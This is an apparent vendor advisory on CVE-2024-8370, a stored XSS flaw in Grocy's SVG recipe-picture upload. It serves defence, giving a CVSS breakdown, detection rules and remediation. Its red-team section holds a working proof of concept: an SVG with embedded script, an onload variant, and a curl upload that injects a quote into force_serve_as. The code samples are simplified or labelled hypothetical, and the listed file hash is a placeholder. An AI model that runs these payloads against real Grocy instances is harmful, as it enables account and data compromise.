CVE-2024-8370
Executive Summary
CVE-2024-8370 is a stored cross-site scripting (XSS) vulnerability in Grocy, an open-source ERP/CRM for household management, affecting versions up to and including 4.2.0. The flaw resides in the /api/files/recipepictures/ endpoint, where the force_serve_as parameter is not properly sanitized. An authenticated attacker can inject arbitrary JavaScript by uploading a crafted SVG file with a malicious force_serve_as value. The vendor has disputed the severity, citing authentication requirements, but the exploit has been publicly disclosed, increasing the risk for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Grocy is a PHP-based application distributed via GitHub and Docker. No direct NPM, PyPI, Go, or Ruby dependencies are involved. However, the vulnerability highlights risks in custom file upload handlers and parameter validation within the application’s own codebase.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must view the uploaded SVG)
- Scope: Changed (impact may extend to other components)
- Confidentiality Impact: Low (potential data exfiltration)
- Integrity Impact: Low (potential content manipulation)
- Availability Impact: None
Threat Level: Medium. The requirement for authentication reduces the attack surface, but public PoC availability and lack of a patch elevate the risk for exposed instances.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the SVG file upload functionality. The application allows users to upload recipe pictures via the /api/files/recipepictures/ endpoint. The force_serve_as parameter is intended to control the Content-Type header when serving the file. However, the input is not sanitized, allowing an attacker to inject a single quote and arbitrary JavaScript.
Attack Flow:
- An authenticated attacker crafts an SVG file containing malicious JavaScript (e.g., using
<script>oronloadevent handlers). - The attacker sends a POST request to
/api/files/recipepictures/with the SVG file and setsforce_serve_astopicture'(or a similar payload). - The application stores the SVG and the malicious
force_serve_asvalue. - When another user (or the attacker) views the recipe picture, the SVG is served with the injected Content-Type, causing the browser to execute the embedded JavaScript.
Root Cause: Lack of input validation on the force_serve_as parameter and insufficient sanitization of SVG file content.
Vulnerable vs. Patched Code
Vulnerable Code (Grocy <= 4.2.0):
// In file upload handler (simplified)
$forceServeAs = $_POST['force_serve_as'] ?? '';
// No sanitization
$filePath = $uploadDir . '/' . $fileName;
move_uploaded_file($_FILES['file']['tmp_name'], $filePath);
// Later, when serving:
header('Content-Type: ' . $forceServeAs);
readfile($filePath);
Patched Code (Hypothetical):
// Sanitize the force_serve_as parameter
$allowedTypes = ['image/svg+xml', 'image/png', 'image/jpeg'];
$forceServeAs = $_POST['force_serve_as'] ?? '';
if (!in_array($forceServeAs, $allowedTypes, true)) {
$forceServeAs = 'image/svg+xml'; // Default
}
// Also sanitize SVG content to remove scripts
$svgContent = file_get_contents($_FILES['file']['tmp_name']);
$svgContent = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svgContent);
file_put_contents($filePath, $svgContent);
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Grocy instance (<= 4.2.0) with an authenticated user session.
- Access to the
/api/files/recipepictures/endpoint.
Exploit Steps:
- Create a malicious SVG file (
payload.svg):<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <script type="text/javascript"> alert('XSS'); </script> </svg> - Send the exploit request using
curl:curl -X POST \ -H "Cookie: grocy_session=YOUR_SESSION_COOKIE" \ -F "file=@payload.svg" \ -F "force_serve_as=picture'" \ "http://target.grocy.local/api/files/recipepictures/" - The SVG is now stored. When any user views the recipe picture (e.g., via the web interface), the XSS triggers.
Alternative Payload (using event handler):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
</svg>
Blue Team
Detection:
- Monitor HTTP POST requests to
/api/files/recipepictures/with unusualforce_serve_asvalues (e.g., containing quotes or non-standard MIME types). - Inspect uploaded SVG files for embedded scripts or event handlers.
- Use WAF rules to block SVG uploads with suspicious content.
Hunting:
- Search logs for
force_serve_asparameters containing',",<, or>. - Check the database for stored SVG files with non-standard Content-Type headers.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(malicious SVG)
- Network Indicators:
- POST requests to
/api/files/recipepictures/withforce_serve_ascontaining'orscript. - Outbound connections to attacker-controlled domains from the Grocy server.
- POST requests to
- Log Entries:
- PHP error logs showing
header()calls with unexpected Content-Type values. - Web server logs with
200responses to/api/files/recipepictures/followed by200to the same file path.
- PHP error logs showing
Detection Engineering
YARA Rule
rule CVE_2024_8370_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2024-8370"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8370"
strings:
$script = /<script\b[^>]*>/i
$onload = /onload\s*=\s*["']?[^"'\s>]+/i
$onerror = /onerror\s*=\s*["']?[^"'\s>]+/i
$force_serve = /force_serve_as\s*=\s*["']?[^"'\s>]*['"]/i
condition:
($script or $onload or $onerror) and $force_serve
}
Sigma Rule
title: CVE-2024-8370 Grocy SVG Upload XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Grocy via SVG upload
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/files/recipepictures/'
cs-uri-query|contains: 'force_serve_as'
condition: selection
falsepositives:
- Legitimate use of force_serve_as parameter
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8370 Grocy SVG Upload XSS"; flow:to_server,established; content:"POST"; http_method; content:"/api/files/recipepictures/"; http_uri; content:"force_serve_as"; http_client_body; pcre:"/force_serve_as\s*=\s*['\"][^'\"]*['\"]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads if not required, or restrict to trusted users only.
- Implement input validation on the
force_serve_asparameter – allow only predefined MIME types. - Sanitize SVG files by stripping scripts and event handlers using a library like
enshrined/svg-sanitizer. - Apply a WAF rule to block requests with suspicious
force_serve_asvalues.
Long-term Fix:
- Upgrade to a patched version once available (monitor Grocy GitHub releases).
- Conduct a code review of all file upload handlers to ensure proper validation and sanitization.
Workaround:
- Restrict access to the
/api/files/recipepictures/endpoint via.htaccessor reverse proxy rules to authenticated users only (already required, but enforce with additional checks).
Valters IT